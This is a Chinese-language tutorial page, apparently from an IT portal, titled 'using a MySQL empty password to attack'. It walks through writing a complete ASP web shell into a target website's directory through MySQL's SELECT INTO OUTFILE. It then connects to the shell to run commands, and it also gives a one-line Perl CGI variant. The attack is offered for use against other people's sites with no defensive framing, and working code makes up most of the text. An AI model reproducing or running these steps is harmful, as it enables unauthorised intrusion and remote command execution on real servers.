设为首页 友情链接
在线留言 发表文章
加入收藏 广告联系

刺猬首页

| 专案技术 | 网络技术 | 图形图象 | 网络编程 | 网页设计 | 操作系统 | 服务器 | 技术白皮书 | 在线实验室 | 刺猬论坛 |
小说专版  | 数据库 | 设计赏析 | 存储频道 | 网络安全 | 私服架设 |  Solaris | 网站评估 | PC维护技巧 | 下载中心 | 博 客 |
专   题: | Linux | java | cisco | 防病毒 | 刀片 | SOA | iscsi | ASP.NET | SQL | Oracle |
您现在的位置: IT公社 IT community >> 数据库应用 >> MY SQL >> 教程正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
信息随需应变:利用 DB2…
如何采用ODBC接口访问My…
预防性维护MySQL数据库服…
MySQL服务器内部安全数据…
将你的网站从MySQL改为P…
教你如何使用MySQL系统的…
SQL Server数据库导入My…
加速动态网站之MySQL索引…
客观公正地评价MySQL和P…
MySQL和SQL Server,到底…
  利用mysql空密码进行攻击           
利用mysql空密码进行攻击
 

天,突然得到一网站的mysql的账号,并查到它的主页所在位置为c:\www\www,首先在网上下载一个cmd.asp程序,然后写一个cmd.sql程序以便进行连接,把cmd.asp上传至它的目录,cmd.sql内容如下:

use test; 
create table tmp(cmd TEXT); 
insert into tmp values("<%@ Language=VBScript %>"); 
insert into tmp values("<%"); 
insert into tmp values("Dim oScript"); 
insert into tmp values("Dim oScriptNet"); 
insert into tmp values("Dim oFileSys, oFile"); 
insert into tmp values("Dim szCMD, szTempFile"); 
insert into tmp values("On Error Resume Next"); 
insert into tmp values("' -- create the COM objects that we will be using -- '"); 
insert into tmp values('Set oScript = Server.CreateObject("WSCRIPT.SHELL")'); 
insert into tmp values('Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")'); 
insert into tmp values('Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")'); 
insert into tmp values("' -- check for a command that we have posted -- '"); 
insert into tmp values('szCMD = Request.Form(".CMD")'); 
insert into tmp values('If (szCMD <> "") Then'); 
insert into tmp values("' -- Use a poor mans pipe ... a temp file -- '"); 
insert into tmp values('szTempFile = "C:\" & oFileSys.GetTempName( )'); 
insert into tmp values('Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)'); 
insert into tmp values('Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)'); 
insert into tmp values("End If"); 
insert into tmp values("%>"); 
insert into tmp values("<HTML>"); 
insert into tmp values("<BODY>"); 
insert into tmp values('<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">'); 
insert into tmp values('<input type=text name=".CMD" size=45 value="<%= szCMD %>">'); 
insert into tmp values('<input type=submit value="Run">'); 
insert into tmp values("</FORM>"); 
insert into tmp values("<PRE>"); 
insert into tmp values('<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>'); 
insert into tmp values("<br>"); 
insert into tmp values("<%"); 
insert into tmp values("If (IsObject(oFile)) Then"); 
insert into tmp values("' -- Read the output from our command and remove the temp file -- '"); 
insert into tmp values("On Error Resume Next"); 
insert into tmp values("Response.Write Server.HTMLEncode(oFile.ReadAll)"); 
insert into tmp values("oFile.Close"); 
insert into tmp values("Call oFileSys.DeleteFile(szTempFile, True)"); 
insert into tmp values("End If"); 
insert into tmp values("%>"); 
insert into tmp values("</BODY>"); 
insert into tmp values("</HTML>"); 
select * from tmp into outfile "c:\\www\\www\\234.asp"; 
drop table tmp;

在用insert into往表里添加内容时,不能只用一个insert into将内容全部添加进去,要一行一行的加,不然就会出现错误,所以每一行都得有一个insert into.

然后进行连接:

c:\mysql\bin\mysql -u user -p password -h ip <cmd.sql

如果变为:

c:\mysql\bin\

则表明建立asp文件成功!然后:

http:\\www.xxx.com/234.asp

便可以得到一个普通用户的shell了!第一步成功了,成为超级用户也不会是难事吧!

如果通过mysql上传CGI文件的话就不用那么长篇了,

cmd.sql: 
use test; 
create table tmp(cmd TEXT); 
insert into tmp values('system @ARGV'); 
select * from tmp into outfile "c:\\www\\www\\234.cgi"; 
drop table tmp;

然后就可以通过http:\\www.xxx.com/234.cgi?dir c:\了,同样也得到了一个普通用户的shell了

频道声明:本频道的文章除部分特别声明禁止转载的专稿外,可以自由转载.但请务必注明出出处和原始作者 文章版权归本频道与文章作者所有.对于被频道转载文章的个人和网站,我们表示深深的谢意。

原始作者:佚名 录入时间:2007-1-2 5:45:06
信息来源:不详 投稿信箱:itqoo@126.com
教程录入:itqoo    责任编辑:itqoo 
  • 上一个教程:

  • 下一个教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    - 关于我们 - 合作伙伴 - 友情链接 - 广告刊登 - 投稿热线 - 在线留言版权声明联系方式 -
    IT公社版权所有 粤ICP备05127012号
    Copyrigh@2005-2006 itqoo.com.Inc All Rights Reserved  推荐分辨率 1024*768
    联系站长:E-Mail:itqoo@126.com     MSN:urchincc@hotmail.com    QQ:点击这里给我发消息
    特别感谢:亿太网络提供空间支持